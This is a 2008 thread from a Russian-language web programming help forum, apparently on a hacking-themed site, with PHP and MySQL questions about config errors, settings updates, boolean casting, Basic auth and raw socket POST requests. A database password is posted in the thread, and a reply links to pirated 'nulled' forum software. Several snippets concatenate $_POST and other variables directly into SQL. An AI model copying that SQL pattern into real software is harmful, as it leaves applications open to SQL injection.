Описание ошибки: mysql_connect(): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) /home/www/vzlomanet.com/includes/class_core.php on line 274

Невозоможно связаться с Вашей базой данных, т.к. у Вас не прав соединяться с сервером. Пожалуйста, подтвердите значения, введённые в файле 'includes/config.php' .

Такая ошибка, что не так??

$config['Database']['dbname'] =' staant_net';
$config['Database']['tableprefix'] = 'mysql4.freehostia.com';
$config['MasterServer']['servername'] ='localhost';
$config['MasterServer']['username'] ='staant_net';
$config['MasterServer']['password'] = 'qwerty';
ты бы еще пасы на сервер выложилбы))))
настройки хостера может такие, возможно пользователь которого ты указываешь в базе не обладает такими правами, если нормальный хостер или есть cpanel, то создать другого и назначить на базу можно в два клика. а так сам ставил булентин на различных хостеров и ниче все нормально...

sebbo
28.01.2008, 02:17
sebbo
прочитай книгу Фленова "Delphi газами хэкера"
и где достать книну??)

PiNzit
28.01.2008, 02:33
config['Database']['tableprefix'] = 'mysql4.freehostia.com';
это больше похоже на адрес сервака, чем на префикс к таблице, будь внимательней при заполнении конфига...

krypt3r
28.01.2008, 09:01
4nt1p0v, кинь сюда пасс рута на сервак, а мы тебе поможем конфиг написать. Без этого пасса не обойтись никак

Macro
28.01.2008, 14:12
Вопрос: как сконвертировать таблицу html в файл microsoft excel?

groundhog
28.01.2008, 14:15
Распарсить и в csv загнать...

Macro
28.01.2008, 14:17
Распарсить и в csv загнать...
Это я понимаю. ПРимер кода приведи, пожалуйста. Я не знаю структуры файлов excel, распарсить это раз плюнуть

astrologer
28.01.2008, 14:21
http://sdsilva.com/dataConversion.php.html

Macro
28.01.2008, 14:27
Всем спасибо!

groundhog
28.01.2008, 14:28
Macro, да какая структура? CSV - это значения идущите через разделитель, например:

Фамилия;Должность;Зарплата
Иванов;Дирехтер;500000
Петров;Кодер;1000
Сидоров;Сторож;100

Потом этот файл открывается в экселе, в качестве разделителя ставится ";". Первую строку разумеется можно пропустить, т.к. несёт только информационный характер... В чём проблема работы с таким представлением данных?

.:EnoT:.
28.01.2008, 16:09
Такой странный вопрос у меня.
Админка, страница настроек...
На страницу выводится куча настроек для их изменения....
предположим таблица состоит из трёх полей..соответственно три какие-то настройки...
Так вот думаю как бы корректно изменять эти настройки если изменился только один параметр.
1) вариант сменить всё одним запросом.
UPDATE `settings` SET
`pole1` = '".$_POST['pole1']."' ,
`pole2` = '".$_POST['pole2']."' ,
`pole3` = '".$_POST['pole3']."'
примерно так
Но в таком случае не вижу надобности апдейтить все поля, если изменилось только одно...тем более как я сказал настроек там не 3 а намного больше.
2) Второй вариант это проверить изменена ли определённая настройка и если изменена, то апдейтить поле с этой настройкой. Но в тоже время если все настройки сменены, то тыща sql запросов это тоже не айс.
Так вот как лучше изменять настройки в такой ситуации?:)

4NT1P0V
28.01.2008, 16:38
это больше похоже на адрес сервака, чем на префикс к таблице, будь внимательней при заполнении конфига...
А где этот преыикс посмотреть?? Хостинг на freehostia.com??? :confused: :confused:

krypt3r
28.01.2008, 17:01
Префикс - это набор символов, с которого начинаются все имена таблицы для данного форума, чата или еще чего-нибудь. Например, для форумов PhpBB все таблицы начинаются на phpbb_, то есть в базе таблицы типа phpbb_auth_access, phpbb_users, phpbb_vote_voters и т.д. Вообще-то префикс придумывается самим пользователем или устанавливается по умолчанию. У вас есть шелл-доступ на хостер? Или вы ковыряете БД через phpMyAdmin? В первом случае, надо зайти по ssh со своим логином и пассом, затем набрать в командной строке

mysql -uusername -ppassword -hmysql4.freehostia.com
mysql> use dbname
mysql> show tables;

Вместо username, password и dbname вводите свои собственные данные
Вот и все. Во втором случае все просто - достаточно кликать мышкой

Macro
28.01.2008, 17:09
не вижу надобности апдейтить все поля, если изменилось только одно...
2) Второй вариант это проверить изменена ли определённая настройка и если изменена, то апдейтить поле с этой настройкой. Но в тоже время если все настройки сменены, то тыща sql запросов это тоже не айс.
Так вот как лучше изменять настройки в такой ситуации?:)
Чтобы апдейтить только те настройки, которые изменились - тебе придется сначала спросить у базы данных эти настрйки, а затем сравнить их с введенными. В результате получится немеренное количество запросов. Проще и лучше всего сделать именно так, как ты написал в своем коде, то есть просто отапдейтить все настройки снова.

.:EnoT:.
28.01.2008, 17:18
Macro
Ну я тоже склонялся к тому чтобы одним запросом всё апдейтнуть.
Кстати насчёт провеки изменения настроек, базу данных спрашиваю ещё в самом начале, а потом можно просто проверять конкретное поле))
спасибо!

Macro
28.01.2008, 17:22
Да, что-то я ступил, ведь тыдолжен вывести настройки в поля =) Ну, теоретически можно написать джаваскрипт, который будет отсылать только измененные параметры, но только зачем? :) Сильно это ничего не изменит.

scrat
28.01.2008, 17:28
.:EnoT:. второй вариант получается нагруженнее первого т.к. тебе нужно делать ещё один запрос к бд и смотреть что там изменилось.Можно ещё сохранять дефолтовые значения в сессии из первого запроса

-=lebed=-
28.01.2008, 17:57
как присвоить результат логической переменной?

$logic=($a==$b);

так не прокатывает...

.:EnoT:.
28.01.2008, 18:05
как присвоить результат логической переменной?

$logic=($a==$b);

так не прокатывает...
а зачем ты два знака равно поставил? Ты же присваиваешь а не сравниваешь :)

scrat
28.01.2008, 18:09
.:EnoT:. ну.если $a==$b то истина,иначе лож.
-=lebed=- $logic=true?

-=lebed=-
28.01.2008, 18:11
а зачем ты два знака равно поставил? Ты же присваиваешь а не сравниваешь :)
Не.. сравниваю сначала, если $a равно $b то $logic=true, если нет, то $logic=false.

PS Вроде понял, в случае false просто ничего не выводится (null, пустое значение), если true, то единица...

Как теперь сделать такое ($a-$d - переменные):
Допустим $string=$a."==".$b."and".$c."==".$d тип строка. Как теперь получить результат логического вычисления того что записано в строковой переменной $string? Заюзать eval ?

Macro
28.01.2008, 18:19
$logic=($a==$b)?true:false;

-=lebed=-
28.01.2008, 18:46
$logic=($a==$b)?true:false;
$logic=($a==$b)?1:0;
PS Так видно что false, если выводить на экран...

groundhog
28.01.2008, 19:07
Я не пойму что у вас не получается...

Вот можете убедиться, что в $a попадает boolean тип результата выполнения операции.
var_dump($a = (bool) ($b == $c));
Что касается строковых переменных - да, чтобы получить результат выражения, которое представлено строковым выражением, то нужно применить к нему функцию eval:

$a = '$b=1+1';
eval($a);
var_dump($b);
З.Ы. Кстати информация для размышления: при выводе булевые выражения приводятся к интовому типу... То есть:
$a = true;
print($a);
Выведет 1, а не true...

cash$$$
28.01.2008, 19:14
Как убрать из строки все теги <a> но только если они имеют поле href
<a href="123">wefwef</a> убрать, а <a name="23">wefwef</a> оставить

bul.666
28.01.2008, 20:24
2cash$$$
Вот впринципе рабочий =)

<?php
$string = '<a href="12">wefwef</a> убрать, а <a name="23">wefwef</a> оставить<a href="123">wefwef</a> убрать, а <a name="23">wefwef</a> оставить';
$body = ereg_replace('(<a href=")+([0-9])+(">)+([a-z])+(</a>)', '', $string);
echo $body;
?>

Macro
28.01.2008, 20:26
$text=preg_replace('|<a[^>]+href[^>]+>[^<]+</a>|i','',$text);
так проще и лучше

bul.666
28.01.2008, 20:31
Тоже самое, просто я привел для конкретного =)

-=lebed=-
28.01.2008, 22:01
З.Ы. Кстати информация для размышления: при выводе булевые выражения приводятся к интовому типу... То есть:
$a = true;
print($a);
Выведет 1, а не true...
Угу, а если $a=false, то не выведется ничего, тогда к какому типу? null?

LolLol
28.01.2008, 22:30
Дорогие форумчане! Подскажите, как отличить в инете известных личностей от их "двойников"? Так много в последнее время появилось "звездочек", в блогах например...))))))))

astrologer
28.01.2008, 22:52
Угу, а если $a=false, то не выведется ничего, тогда к какому типу? null?
К строке, разумеется.
false соответствует пустой строке, поэтому ничего и не выводится.

Вы можете преобразовать значение в строку, используя приведение (string), либо функцию strval(). В выражениях, где необходима строка, преобразование происходит автоматически. Это происходит, когда вы используете функции echo() или print(), либо когда вы сравниваете значение переменной со строкой
...

Булево (boolean) значение TRUE преобразуется в строку "1", а значение FALSE представляется как "" (пустая строка). Этим способом вы можете преобразовывать значения в обе стороны - из булева типа в строковый и наоборот.Почитать можно здесь:
http://www.php.net/manual/ru/language.types.string.php#language.types.string.ca sting

4NT1P0V
28.01.2008, 23:10
Префикс - это набор символов, с которого начинаются все имена таблицы для данного форума, чата или еще чего-нибудь. Например, для форумов PhpBB все таблицы начинаются на phpbb_, то есть в базе таблицы типа phpbb_auth_access, phpbb_users, phpbb_vote_voters и т.д. Вообще-то префикс придумывается самим пользователем или устанавливается по умолчанию. У вас есть шелл-доступ на хостер? Или вы ковыряете БД через phpMyAdmin? В первом случае, надо зайти по ssh со своим логином и пассом, затем набрать в командной строке

mysql -uusername -ppassword -hmysql4.freehostia.com
mysql> use dbname
mysql> show tables;

Вместо username, password и dbname вводите свои собственные данные
Вот и все. Во втором случае все просто - достаточно кликать мышкой
Вот как раз через пхпадмин, и я все таки не понял что надо мне ввести в префиксах????

Doom123
29.01.2008, 00:09
Дай нам хотяб 2 имени таблиц в БД и те скажут какой префикс...

4NT1P0V
29.01.2008, 00:21
Там мне их надо создать, просит имя и поле, что ввести??

Macro
29.01.2008, 00:22
Например FIEtegfsdfgsdfregyefbiv6aegGBUFGEWOIRUFBY_

4NT1P0V
29.01.2008, 00:28
Короче, может кто-нибудь дать ссылку на движок типа воблы???? :confused: полегче :) :)

Doom123
29.01.2008, 00:47
оО... тему не читал.. те воблу поставить надо? она у меня и без префикса работала...=)

Еси нужна помощь по установке мож мне постучать завтро после 6ти вечера в асю 370473273 или попробовать поставить ипб http://www.nulled.ws/showthread.php?t=43280

4NT1P0V
29.01.2008, 00:55
Хорошо, завтра стукну :) :) :) :) :) :) :)

-=lebed=-
29.01.2008, 23:04
допустим я отправляю скрипту параметр так:
http://[site]/index.php?параметр (т.е Get`ом)

Как его принять на стороне сервера этим скриптом?
Зы Т.е я имею ввиду можно ли передать просто параметр никак его не называя...

astrologer
29.01.2008, 23:22
$_server['query_string']P.S. Только в верхнем регистре. Форум почему-то меняет регистр на нижний, хотя в тегах кода не должен.

Macro
30.01.2008, 00:36
$_server['query_string']P.S. Только в верхнем регистре. Форум почему-то меняет регистр на нижний, хотя в тегах кода не должен.

$_SERVER['QUERY_STRING']

Spyder
30.01.2008, 00:38
Macro, ты хакер? +)))

Kaimi
31.01.2008, 18:50
Проблема с авторизацией, есть два файла:

index.php

include("./login.php");
if ($_SERVER['PHP_AUTH_USER'] && $_SERVER['PHP_AUTH_PW'] ) {
.......................................
}
else
{

auth();
}


login.php

function auth() {
header('WWW-Authenticate: Basic realm="Авторизуйтесь"');
header('HTTP/1.0 401 Вы не авторизированы');
die("Ошибка");
}


Почему при попытке захода стабильно выводится сообщение "Ошибка"? (не возникает окна авторизации)

bul.666
31.01.2008, 18:55
всмысле не вылетает окошка где нада вводить юзернэйм и пасс?

Kaimi
31.01.2008, 18:56
Да

bul.666
31.01.2008, 19:00
<?php
if(empty($_SERVER['PHP_AUTH_USER']))
{
Header("WWW-Authenticate: Basic realm=\"Авторизуйтесь\"");
Header("HTTP/1.0 401 Unauthorized");
}
else
{
echo "Пользователь: ".$_SERVER['PHP_AUTH_USER'];
echo "Пароль: ".$_SERVER['PHP_AUTH_PW'];
}
?>

Kaimi
31.01.2008, 19:04
Условие выполняется, но окошка авторизации не появляется

bul.666
31.01.2008, 19:07
Перезапусти браузер

Kaimi
31.01.2008, 19:08
И браузер перезапускал и куки чистил

bul.666
31.01.2008, 19:09
У тя выполняеться
echo "Пользователь: ".$_SERVER['PHP_AUTH_USER'];
echo "Пароль: ".$_SERVER['PHP_AUTH_PW'];
?

Kaimi
31.01.2008, 19:12
У меня выполняется
Header("WWW-Authenticate: Basic realm=\"Авторизуйтесь\"");
Header("HTTP/1.0 401 Unauthorized");
echo "test";

Но окна не возникает

bul.666
31.01.2008, 19:15
Попробуй вначале написать
$_SERVER['php_auth_user'] = 0;
Окошко выскочит?

Kaimi
31.01.2008, 19:17
Ммм, скажем так, как отдельный скрипт авторизация появляется, а в моем скрипте почему то нет

bul.666
31.01.2008, 19:21
<?php
function auth() {
header('WWW-Authenticate: Basic realm="Авторизуйтесь"');
header('HTTP/1.0 401 Вы не авторизированы');
die("Ошибка");
}
if (empty($_SERVER['PHP_AUTH_USER'])) {
auth();
}
else
{
echo "Пользователь: ".$_SERVER['PHP_AUTH_USER'];
echo "Пароль: ".$_SERVER['PHP_AUTH_PW'];
}
?>

У мя так все работает...
Попробуй зайти под другим браузером ищи проблему в include "./login.php";

ElteRUS
01.02.2008, 03:43
Нужна помощь. Имеется такой HTTP запрос


POST http://site.ru/script.cgi HTTP/1.0
Host: site.ru
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: Accept-Language: uk
Connection: keep-alive
Referer: http://site.ru/page1
Cookie: id=12345678
Content-Type: multipart/form-data; boundary=---------------------------89463267115936
Content-Length: 441

-----------------------------89463267115936
Content-Disposition: form-data; name="qqqq"

qwer
-----------------------------89463267115936
Content-Disposition: form-data; name="qqqw"

qwer
-----------------------------89463267115936
Content-Disposition: form-data; name="qqqa"

qwer
-----------------------------89463267115936
Content-Disposition: form-data; name="qqqc"

qwer
-----------------------------89463267115936--



Мне нужно отправить его из скрипта сокетом. Правильно ли я оформил HTTP запрос в переменной $in ?

$in = "POST http://site/script.cgi HTTP/1.0\n";
$in .= "Host: mail.rambler.ru\n";
$in .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\n";
$in .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\n";
$in .= "Accept-Language: Accept-Language: uk\n";
$in .= "Connection: keep-alive\n";
$in .= "Referer: http://site.ru/page1\n";
$in .= "Cookie: id=".$id."\n";
$in .= "Content-Type: multipart/form-data; boundary=---------------------------89463267115936\n";
$in .= "Content-Length: 449\n\n";
$in .= "-----------------------------89463267115936\n";
$in .= "Content-Disposition: form-data; name=\"qqqq\"\n";
$in .= "\n";
$in .= "qwer\n";
$in .= "-----------------------------89463267115936\n";
$in .= "Content-Disposition: form-data; name=\"qqqw\"\n";
$in .= "\n";
$in .= "qwer\n";
$in .= "-----------------------------89463267115936\n";
$in .= "Content-Disposition: form-data; name=\"qqqa\"\n";
$in .= "\n";
$in .= "qwer\n";
$in .= "-----------------------------89463267115936\n";
$in .= "Content-Disposition: form-data; name=\"qqqc\"\n";
$in .= "\n";
$in .= "qwer\n";
$in .= "-----------------------------89463267115936--\n";
$in .= "\n";

fputs($socket,$in);

Macro
01.02.2008, 09:56
Нет, не правильно. Разделитель должен быть не \n а \r\n и, кроме того, На всякий случай, последи за Content-Length

Horsekiller
01.02.2008, 12:55
Пара интересующих меня вопросов...
Решить я их решил, просто интересно.
mysql_query("INSERT INTO `comments` (text, messageid) VALUES ('$text', '$messageid')") or die("0o0".mysql_error());
Работает нормально.
mysql_query("INSERT INTO `comments` (ftext, messageid) VALUES ('$ftext', '$messageid')") or die("0o0".mysql_error());
Выдает ошибку. Почему ?

И еще, почему, если перед setcookie(); поставить echo(); возникает ошибка -
Cannot modify header information - headers already sent